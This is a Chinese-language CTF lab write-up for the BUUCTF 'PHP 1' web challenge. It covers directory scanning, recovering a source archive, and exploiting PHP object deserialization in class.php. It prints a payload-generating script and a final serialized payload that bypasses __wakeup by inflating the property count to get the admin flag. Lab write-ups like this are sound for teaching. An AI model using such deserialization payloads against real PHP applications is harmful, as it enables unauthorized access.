• buuctf-web PHP 1


    启动靶机,打开环境,

     这个网页写的还真不错,真想白嫖

    好言归正传,拿到这个网页后,根据提示利用dirsearch-master扫一下目录,这个工具可以去github上下载一手

    打开dos窗口,然后用dirsearch.py "url" -e*命令扫一下目录

     然后发现了www.zip,然后下载下来。解压压缩包

     发现这里面有几个php文件,我一看,有个flag.php,我打开一手,完了提交,呵呵,我就知道没那么简单,好了,看看其他的php文件先看了看index.php,

     根据这段代码,还有一个class.php,之后 是要给select一个值,上传,完了还需要构造一个反序列才可以。

    那我们还是先看看class.php,我把它给copy下来

     1 <?php
     2 include 'flag.php';
     3 
     4 
     5 error_reporting(0);
     6 
     7 
     8 class Name{
     9     private $username = 'nonono';
    10     private $password = 'yesyes';
    11 
    12     public function __construct($username,$password){
    13         $this->username = $username;
    14         $this->password = $password;
    15     }
    16 
    17     function __wakeup(){
    18         $this->username = 'guest';
    19     }
    20 
    21     function __destruct(){
    22         if ($this->password != 100) {
    23             echo "</br>NO!!!hacker!!!</br>";
    24             echo "You name is: ";
    25             echo $this->username;echo "</br>";
    26             echo "You password is: ";
    27             echo $this->password;echo "</br>";
    28             die();
    29         }
    30         if ($this->username === 'admin') {
    31             global $flag;
    32             echo $flag;
    33         }else{
    34             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
    35             die();
    36 
    37             
    38         }
    39     }
    40 }
    41 ?>

    根据代码的意思,我们可以发现如果username=admin      password=100然后我们再执行__destruct()时可以获得flag

    那接下来我们可以构造反序列Pyload了

    <?php
     
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
     
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a = new Name('admin', 100);
    var_dump(serialize($a));
     
    ?>

    然后跑一下这个脚本,可以获得反序列化后的数据:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

     我以为这就成功了,可是,却还是没有成功。

    百度了一手,才得知,反序列化的话它是会直接执行_wake up()这个魔术方法的。那我们就要想办法让这个反序列绕过_wake up()执行__destruct()

    而在反序列化里,当前属性个数大于实际属性个数的时候,它就会直接绕过_wake up()从而执行__destruct()的。然后我们修改一下pyload

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    这就好了吧。

     哈哈哈,成功了

    开森!!!

     1 <?php
     2 include 'flag.php';
     3 
     4 
     5 error_reporting(0);
     6 
     7 
     8 class Name{
     9     private $username = 'nonono';
    10     private $password = 'yesyes';
    11 
    12     public function __construct($username,$password){
    13         $this->username = $username;
    14         $this->password = $password;
    15     }
    16 
    17     function __wakeup(){
    18         $this->username = 'guest';
    19     }
    20 
    21     function __destruct(){
    22         if ($this->password != 100) {
    23             echo "</br>NO!!!hacker!!!</br>";
    24             echo "You name is: ";
    25             echo $this->username;echo "</br>";
    26             echo "You password is: ";
    27             echo $this->password;echo "</br>";
    28             die();
    29         }
    30         if ($this->username === 'admin') {
    31             global $flag;
    32             echo $flag;
    33         }else{
    34             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
    35             die();
    36 
    37             
    38         }
    39
  • 相关阅读:
    [洛谷P4248][AHOI2013]差异
    [洛谷P4070][SDOI2016]生成魔咒
    [洛谷P3979]遥远的国度
    [CF551E]GukiZ and GukiZiana
    [洛谷P4721]【模板】分治 FFT_求逆
    [洛谷P4721]【模板】分治 FFT
    一键智能抠图-原理与实现
    国防科技大学单张RGB-D图像预测物体对称性
    在OpenCV中使用色彩校正
    Deformable DETR DETR 存在收敛速度慢等缺陷。为了解决这些问题,本文可变形 DETR,其注意力模块仅关注于参考点附近的一小部分采样点作为注意力模块中的 key 元素。可变形 DETR 可以在比 DETR 少 9/10 的训练轮数下,达到更好的性能(尤其是在小目标上)。在 COCO 基准上的大量实验表明了该方法的有效性。
  • 原文地址:https://www.cnblogs.com/awsole/p/13823603.html
Copyright © 2020-2023  润新知